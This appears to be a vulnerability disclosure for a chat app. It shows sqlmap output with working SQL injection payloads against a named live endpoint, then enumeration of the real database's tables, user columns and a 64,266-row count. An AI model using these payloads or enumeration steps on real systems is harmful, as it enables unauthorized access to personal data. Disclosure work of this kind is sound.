

Scan of application “parasto chat”

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Bug : Critical 10/10

Sql injection

First of all I found a link on app : (<https://musictop1.ir/chaat/vergen.php>)

on this link shows me a backup site : <https://syteposhtiban.ir/>

the first step I see the “Index of /” and site has no 403 error

In the “chaat” dir I see this file “chengmarket.php”

this file have a post value who send a things to database!

after this I use sqlmap tool to test sqlinjection on this form

```
POST parameter 'text' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 778 HTTP(s) requests:
----
Parameter: text (POST)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause
  Payload: text=-8422' OR 9948=9948-- cVGK

  Type: stacked queries
  Title: MySQL >= 5.0.12 stacked queries (comment)
  Payload: text=1';SELECT SLEEP(5)#

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: text=1' AND (SELECT 3902 FROM (SELECT(SLEEP(5)))HSKo)-- yVWt
----
[12:22:27] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
```

Now I have this info's from the database!

now I want to see database!

```
[12:24:16] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[12:24:16] [INFO] fetching database names
[12:24:16] [INFO] fetching number of databases
[12:24:16] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[12:24:16] [INFO] retrieved: 2
[12:24:19] [INFO] retrieved: information_schema
[12:25:20] [INFO] retrieved: syteposhtiban_chaat
available databases [2]:
[*] information_schema
[*] syteposhtiban_chaat
```

And this is the site databases!

I see "syteposhtiban_chaat"

And I get this tables :

```
Database: syteposhtiban_chaat
[15 tables]
+-----+
| blacked |
| chek    |
| demotext|
| idtext  |
| lastmessage|
| likeed  |
| likestory|
| mess    |
| seting  |
| story   |
| tarakonesh|
| tarakonesh2|
| users   |
| viweprofile|
| viwestory|
+-----+
```

I see the table who name "users"

```
[12:33:04] [INFO] retrieved: 29
[12:33:09] [INFO] retrieved: id
[12:33:16] [INFO] retrieved: mobile
[12:33:34] [INFO] retrieved: code
[12:33:47] [INFO] retrieved: login
[12:34:03] [INFO] retrieved: username
[12:34:27] [INFO] retrieved: famil
[12:34:41] [INFO] retrieved: bio
[12:34:49] [INFO] retrieved: picpro
[12:35:08] [INFO] retrieved: pic0
[12:35:22] [INFO] retrieved: pics1
[12:35:37] [INFO] retrieved: lastmes
[12:35:57] [INFO] retrieved: time
[12:36:10] [INFO] retrieved: ostan
[12:36:26] [INFO] retrieved: shahr
[12:36:42] [INFO] retrieved: old
[12:36:52] [INFO] retrieved: online
[12:37:11] [INFO] retrieved: men
[12:37:22] [INFO] retrieved: black
[12:37:38] [INFO] retrieved: report
[12:37:58] [INFO] retrieved: del
[12:38:08] [INFO] retrieved: nazar
[12:38:23] [INFO] retrieved: vip
[12:38:32] [INFO] retrieved: seda
[12:38:43] [INFO] retrieved: notif
[12:39:00] [INFO] retrieved: market
[12:39:16] [INFO] retrieved: androidid
[12:39:39] [INFO] retrieved: poshid
[12:39:59] [INFO] retrieved: verapp
[12:40:17] [INFO] retrieved: redallmass
[12:40:45] [INFO] fetching entries for table 'users' in database 'syteposhtiban_chaat'
[12:40:45] [INFO] fetching number of entries for table 'users' in database 'syteposhtiban_chaat'
[12:40:45] [INFO] retrieved: 64266
```

And I get this data's from the users table : 64266 users

As a white-hat hacker, I didn't even want to view user information, as I might make a mistake and download it by accident! I came here to report it to you. According to the law of ethical hacking, I did not download or retrieve any information, and my testing was done within a secure framework.

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